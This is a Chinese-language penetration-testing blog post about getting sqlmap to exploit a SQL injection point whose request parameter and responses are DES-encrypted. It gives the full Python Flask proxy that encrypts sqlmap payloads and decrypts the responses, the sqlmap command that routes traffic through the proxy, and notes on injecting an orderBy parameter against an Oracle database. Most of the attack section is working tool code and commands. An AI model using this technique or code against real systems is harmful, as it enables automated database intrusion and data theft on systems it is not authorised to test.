在渗透的时候,发现有一处注入点请求参数进行了des加密,并且响应包也通过des进行了加密。想使用sqlmap进行注入,发现sqlmap不支持响应包处理操作(tamper只适用于请求包处理)。通过flask进行处理,最终使用sqlmap成功注入。
![sqlmap-result.png]()
寻找注入点
发现一处页面名称为doQuery,猜测是用来执行查询功能。POST请求包:其参数名为reqParam,其值为des加密字段(url编码)。
![request.png]()
经过验证确实为des加密,如何寻找key、iv在此就不赘述了,可以去渗透测试-加密SQL注入了解。
![des-req.png]()
查看对应的响应包,发现整个响应包内容都被加密了
![des-resp.png]()
使用对应的key能将响应包内容解密出来。
![des-resp.png]()
SQLMap
问题归纳
本以为SQLMap会自带功能对响应包进行解密,毕竟SQLMap支持自定义脚本(tamper)对请求包进行处理。根据sqlmap官方github仓库的issues,得知SQLMap不支持对响应内容进行编码处理。现在的问题点在于如何对response进行处理,认真想了想sqlmap支持proxy进行代理,那么可以通过代理将请求转发过来,由代理服务器对请求、响应进行处理。
flask代理
需要实现几个关键点:
- 对请求参数reqParam的值进行des加密,假定该值为encrypt_str
- 对encrypt_str进行url编码处理,假定该值为post_data
- 对响应包进行解密
这里就直接贴代码给大家参考参考。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 
 | import base64import pyDes
 import requests
 import logging
 from flask import Flask, request, Response
 from urllib.parse import unquote, quote
 
 
 app = Flask(__name__)
 
 
 @app.before_request
 def proxy():
 secret_key = b"****"
 k = pyDes.des(secret_key, pyDes.ECB, pad=None, padmode=pyDes.PAD_PKCS5)
 encrypt_test_str = unquote(request.get_data().decode())[9:]
 encrypt_str = k.encrypt(encrypt_test_str)
 post_data = b'reqParam=' + quote(base64.b64encode(encrypt_str)).encode()
 app.logger.info("Encrypt data:%s", post_data)
 resp = requests.request(
 method=request.method,
 url=request.url,
 headers={key: value for (key, value) in request.headers if key != 'Host'},
 data=post_data,
 cookies=request.cookies, allow_redirects=False, verify=False)
 excluded_headers = ['content-encoding', 'content-length', 'transfer-encoding', 'connection']
 headers = [(name, value) for (name, value) in resp.raw.headers.items()
 if name.lower() not in excluded_headers]
 response_data = base64.b64decode(resp.content)
 if b"false" in k.decrypt(response_data):
 app.logger.error('Response data:%s', k.decrypt(response_data))
 else:
 app.logger.info('Response data:%s', k.decrypt(response_data))
 response = Response(k.decrypt(response_data), resp.status_code, headers)
 return response
 
 
 if __name__ == '__main__':
 app.run(host="0.0.0.0", debug=True)
 
 
 | 
将请求保存到sql.txt里,需要注意的是在sql.txt中reqParam参数需为解密之后字符串。
| 1
 | sudo python sqlmap.py -r sql.txt --proxy http://127.0.0.1:5000
 | 
SQL注入问题解决
现在已经可以通过flask对请求、响应进行加密、解密等操作,但是查看sqlmap的返回结果,显示没有注入。Emmmm·····认真查看了json里面参数,发现有orderBy参数,直接使用*指定该参数,看看能不能有什么进展。
这时候发现响应内容为:{"errmsg":"ORA-01785: ORDER BY item must be the number of a SELECT-list expression\\n","success":false}'基本可以明确该点确实有问题,但是这次依旧跑不出来!
认真查看发现爆出了原始语句,最后对注入点的语句进行“优化”,成功跑出来。
总结
	1.有时候可以通过自己编写一些小工具辅助工作,例如本次使用flask结合sqlmap;
	2.在某些时候如果没有思路,对已有的信息再归纳归纳,或许有意想不到的收获,例如本次对注入点“优化”。